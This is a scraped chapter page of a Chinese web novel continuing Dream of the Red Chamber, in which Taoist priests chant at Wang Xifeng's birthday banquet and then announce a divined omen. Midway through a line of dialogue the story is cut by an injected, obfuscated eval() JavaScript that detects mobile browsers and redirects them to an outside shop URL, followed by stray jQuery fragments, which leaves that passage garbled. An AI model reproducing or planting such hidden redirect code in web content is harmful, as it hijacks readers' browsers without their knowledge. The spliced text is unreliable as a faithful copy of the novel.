默认冷灰
24号文字
方正启体

340.一七零下 奇道人占课察祥瑞

作者:两面金黄本书字数:K更新时间:
    尤氏听见问她,也低声笑道:“寿星,你将我也太看得低了。这点子事,也至于巴巴儿地嘱咐我?早预备下了。喏——那边的不是?”说着就伸手向台边角落里一指。


    果然那边早有几个小厮垂手候在那里,旁边是盛铜钱的笸箩,整串用红绳系着的铜钱都已拆好了,只待主子们的一声“赏”,就要往台上抛撒呢。


    凤姐点点头,笑道:“好姐姐,你别怪我,并不是不放心你,横竖我就是这样操心的命,从来这样场合也不曾吃好、喝好、看好,一时也不安心,统要惦记着这些有的没的。”


    尤氏一笑,轻轻拍了拍她的手,在她耳边道:“知道。横竖有我呢,你好好放下心来,尽情乐一日罢。”


    吃了黛玉的解酒茶,又经这样几件事打岔,凤姐自觉酒气已退下去不少,便也不急回去了。正好台上这个新班子有不少花样确实是从前不曾看见过的,凤姐索性便归席同众人一起看起来。


    其他耍百戏的都先下去了,只剩两个小丑角儿在那里嘻嘻哈哈地逗趣儿,逗得众人呵呵大笑,忽然场后一声清越的锣音,两个小丑仿佛得到讯号一般,向台下磕了个头,跟着便快步向两边退下去了,此时欢快热闹的鼓乐声陡歇,台子上紧跟着上来两列道士打扮的人。


    当头一个鹤发长须,瞧着年纪颇大,身着一袭好威严的赤袍;老道的身后跟着的两个年纪则轻些,着青袍,手里各提着一片磬;再后头的四个年纪又轻些,着绿袍,手里各托着一只铃;最后面是八个梳髻的童子,一色都着青色衫子,腰上垂着红丝绦,各人捧着一只木鱼。


    这样一十五人施施然往台上站定,齐刷刷向台下一稽首,跟着便盘膝坐下,全场皆静,倒叫贾家众人摸不着头脑了。


    凤姐低声笑向尤氏道:“这是什么节目儿?好好儿的,怎么摆上道场了,这也不大像的,咱们这也并没有法事给他做,怕不是走错了?”


    尤氏皱眉道:“先时并不曾说有这个。”忙叫银蝶儿让人出去问班主。


    银蝶儿答应着出去,台上的道士们却已由领头的老道一抬手示意,一起吟唱起来。


    银蝶儿少时便回转来道:“班主说,这个节目是有的,知道是里头奶奶的好日子,特请外头观里的大能来持诵持诵,积福积德更是事半功倍呢。”


    尤氏听了这话,仍未能放心,因总没听说有这样行事的,在寿宴上弄僧道来念经?怎么也不像的,便仍是半信半疑,又担心贾母等不喜,忙注意去看老太太等的脸色。


    薛姨妈是客,又性子慈和,见气氛有一丝儿尴尬,便先开口道:“先前那些戏,虽都也是极好的,真是热闹,看久了却总不免心里腻味,这时听听这个,心里觉得很静。这样一调和,一会子若再有那些热闹的,又可听得进去了,不至于辜负了好戏。这样‘一张、一弛’,排节目的人倒是个有丘壑的。”


    有了薛姨妈这一番话的铺垫,邢夫人、王夫人都点头道:“很是。”


    贾母也笑道:“是很别致,也好听。好,我们沾凤丫头的光儿,也修修福。”说完半闭了眼,和着道士们的吟唱,手里不住盘动着金丝楠念珠儿。


    听众人都是这样说,尤氏这才放下心来,心里却仍不免犯疑。


    为了今日热闹,怕家里的女孩子们放不开,仍旧请的是外头的戏班子,又多请了一班百戏,叫一起间错着演,除此之外,实在没有说有道士的部分。可听方才百戏班主的意思,他竟是知道的,那就是跟着百戏来的了。如此别致的一个安排,若事先说定了有这个,自己总是不会忘记的,班主为何不事先说明?况且,之前已让人仔细问过从前请过这班人去表演的那几家,并没人提过还有这样一个节目。


    实在是奇怪。


    一时内外席上的众人停杯住筷,都安静下来,全场里只闻道士唱念之声。


    这一班道士不是那种一味平板得让人头痛的念诵,反而是有诸多变化,节奏也张弛有度,似乎是唱歌,却又比众人听惯的曲子要庄重威严得多。


    有些人音色高些,有些人就深沉些,还有独属于道童们的清脆的童声,这么多声音一起唱来,层次分明、却又极齐,八个道童的木鱼声也仿佛出自一人之手,整齐有力、声声叩心。


    道士们手中各持道磬、道铃,每念在关键处时,便一齐或击打、或摇振,所有的声音合在一处,莫名有种振聋发聩之感,果然极悦耳。


    听了一会儿,宝玉拊掌低声赞道:“从前咱们上那些庙里、观里,一听他们念经、上课,我就老大头疼,真让人絮烦得紧。这个倒难得好听,听了心里也舒服。”


    宝钗也低声笑道:“庙里的是做他自家的功课,修行是第一位的,自然不顾好听。如今这是上外头来助兴,若是念得不好,辛苦钱一并也无的,自然经过一番设计。而且,我看这些人也并非寻常道士可比,你可知么,道长们的法袍也并不是人人随意都可穿得,需得论道功的高低,才得主持大小法事、上表迎驾。想我小时也随父亲见过一位德高望重的仙长,记得他有一身紫色的高功法衣,上头可绣日宫月府、星辰五岳、郁罗萧台,真真是辉煌夺目。你们瞧,那打头穿赤袍的那一个,也是难得的,想来道功也自不低,由他带头念来,自然是不凡的了。”


    姊妹们听了她这番讲解,都暗暗点头,一面又留神去细瞧那些道士的法袍,除了颜色各异外,所绣的事物也不一而足,果然有许多变化。


    王夫人笑道:“好孩子,你竟连这个也知道。想平日里道场、法事我们也见得多了,却不曾注意他们身上穿的,不知还有这许多学问,多亏你说来,我们才知道。”


    不知王夫人是真不知,还是假不知,总之她是不肯放过任何一个可以在公开场合称赞宝钗的机会的,也是真心喜爱和认可宝钗。


    薛姨妈笑道:“快别赞她,宝丫头越发要得意了。如今捣鼓的这些,已有些讨人厌,若再一心研


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972303|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    究起这些旁门杂记,要更疯魔了。”


    贾母睁开眼来,笑道:“姨太太过谦了。”说着转向台上,笑眯眯地又聚精会神地看起来。


    王夫人见老太太把话头儿掐断,自己便也不好接着往下说了,看了一眼浑然不觉、自顾自乐呵的薛姨妈,心里叹了口气,便也将精神集中到台上。


    邢夫人在一旁将各人表情动作都看在眼里,嘴角上扬,心里想,到底没儿没女好,没有这些费心,一面想着,神色便十分悠哉。


    台上众道士念的乃是有祈福禳灾之功的“三清诰”,又念了一会儿,领头最年长的那一个抬起一只手来示意,众道念声顿止,所有人施施然起身,又是集体一稽首。


    领头的老道士向众人悠悠环视一圈,双目如电、炯炯有神,跟着朗声道:“‘积善之家、必有余庆’,‘喜至庆来、永永其祥’。小道等今日得来府上,不胜荣耀,忝以此诰,贺府上奶奶千秋,又贺贵府上下贵人平安顺遂、福寿绵长。”


    众人听他说得好听,都很高兴,贾母点头笑道:“好、好,赏!”


    给这等修行人的赏赐,却不能同那些戏子杂耍的一般,拿笸箩往台上抛撒、只为听那铜钱噼噼啪啪的热闹响声,方外的人,总也要给些尊重,这也是看在神佛面上。


    尤氏忙吩咐下去,让人取了些颜色庄重的尺头来,好生捧给道长。


    道人们接了赏,便该退下去了,贾家的人听了这一回念经,不过新鲜一阵,到底还是愿意听戏、看热闹,都等着后面的节目,可那道人却似脚下生根了一般,在台上扎着脚不动,他身后的徒子徒孙们见师父不动,自然也都有样学样、站得笔直。


    尤氏等以为道士们不懂规矩,忙让小厮们去将人请下来,却见那老道忽然伸出一手,手指翻飞,不知计算着什么,半晌朗声道:“小道晨起占了一课,卦象示意天降福兆、喜生祥瑞。小道斗胆拈神演算,依方位来看,这祥瑞便是应在贵府,不知贵人等可愿随小道拨冗细看?”


    老道士中气充沛、吐纳平和、声若洪钟,由他讲来,满场无有一人听得不清晰,听来便莫名让人觉得十分信服。


    果然贾母听了便向左右笑道:“哦?什么‘祥瑞’,倒教人有些好奇了,让他痛快说来,不许卖关子。”


    尤氏忙命人过去传话。


    道士听了小厮转述,轻捋那一部潇洒长须,从容道:“小道今晨推得那祥瑞的方位应在贵府之中,但似这样钟鸣鼎食、富贵吉祥之家,自有一柱气运环绕保护、自成屏障,堪称遮天蔽日,我等在外占算,受其影响,并不能窥破天机。此时进得府来,绕过了屏障,却是可以细细推演一番。”


    他这样说着,便把右手一扬,从最后立时出来一个伶伶俐俐的小道童,他手里此时已不见了方才那木鱼,却是恭恭敬敬捧着一对竹制的筶、并一只三清法铃,看他身上利利落落的,没有那些累赘,也不知这好些东西他先前都收藏在哪里。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)